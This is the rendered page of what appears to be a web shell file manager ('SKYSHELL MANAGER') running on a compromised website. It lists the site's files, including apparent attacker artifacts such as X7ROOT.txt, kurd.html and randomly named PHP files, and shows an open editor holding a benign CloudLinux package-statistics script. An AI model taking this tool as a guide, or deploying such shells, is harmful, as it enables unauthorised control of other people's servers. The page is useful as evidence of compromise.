📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: rpm_packages_statistics.py
# coding=utf-8 # # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT import logging from subprocess import CalledProcessError, Popen, PIPE from typing import Dict, AnyStr, Optional, List from clcommon.evr_utils import serialize_evr from clcommon.utils import is_ubuntu app_logger = logging.getLogger('cloudlinux-summary.get_rpm_packages_info') def get_rpm_packages_info() -> List[Optional[Dict[AnyStr, Optional[AnyStr]]]]: """ Get full info about all of rpm packages: - name - epoch - version - release - arch - serialized_version """ result = [] rpm_db_error_pattern = 'Thread died in Berkeley DB library' is_ubuntu_os = is_ubuntu() if is_ubuntu_os: rpm_cmd = "dpkg-query -f '${Package}\t${Version}\t${Architecture}\n' -W" else: rpm_cmd = "rpm -qa --queryformat '%{name}\t%|epoch?{%{epoch}}:{None}|\t%{version}\t%{release}\t%{arch}\n'" error_message = 'Can\'t get information about rpm packages, because' rpm_db_warn_msg = 'Server has broken rpmdb. We can\'t get ' \ 'statistics about rpm packages and skip its getting.' returncode = 0 try: with Popen( rpm_cmd, stdout=PIPE, stderr=PIPE, shell=True, executable='/bin/bash', text=True, ) as proc: stdout, stderr = proc.communicate() returncode = proc.returncode # We shouldn't send event to Sentry if rpmdb is broken, # because we can't do anything for getting statistics about rpm packages # and can only skip this case if rpm_db_error_pattern in stderr: app_logger.warning( rpm_db_warn_msg, ) return result except (CalledProcessError, OSError) as exception: app_logger.exception( '%s exception "%s', error_message, exception ) return result if returncode != 0: app_logger.error( '%s command "%s" return non-zero code "%s"', error_message, rpm_cmd, returncode, extra={ 'stdout': stdout, 'stderr': stderr, } ) return result lines = stdout.strip().split('\n') for line in lines: try: name, epoch, version, release, arch = parse_package_manager_output(line, is_ubuntu_os) except ValueError: app_logger.error( 'The result of call "%s" has an invalid line "%s". ' 'It should contain five elements.', rpm_cmd, line, extra={ 'stdout': stdout, } ) continue epoch = None if epoch == 'None' else epoch result.append({ 'name': name, 'epoch': epoch, 'version': version, 'release': release, 'arch': arch, 'serialized_version': serialize_evr([ epoch, version, release, ]) }) return result def parse_package_manager_output(line, is_ubuntu_os): """ rpm -qa already returns data in needed format, e.g: lve-utils None 6.2.3 2.el7.cloudlinux.1639593336.cloudlinux.1639595623 x86_64 but, dpkg-query output needed to be parsed a bit, cause version column cannot be split by util to epoch:version:release lve-utils 6.2.2.1639220776 amd64 """ if is_ubuntu_os: name, version, arch = line.split('\t') # deb package version [epoch:]upstream_version[-debian_revision] epoch = None if ':' in version: epoch, version = version.split(':') version, *release = version.split('-') release = '-'.join(release) if release else None else: name, epoch, version, release, arch = line.split('\t') return name, epoch, version, release, arch
Save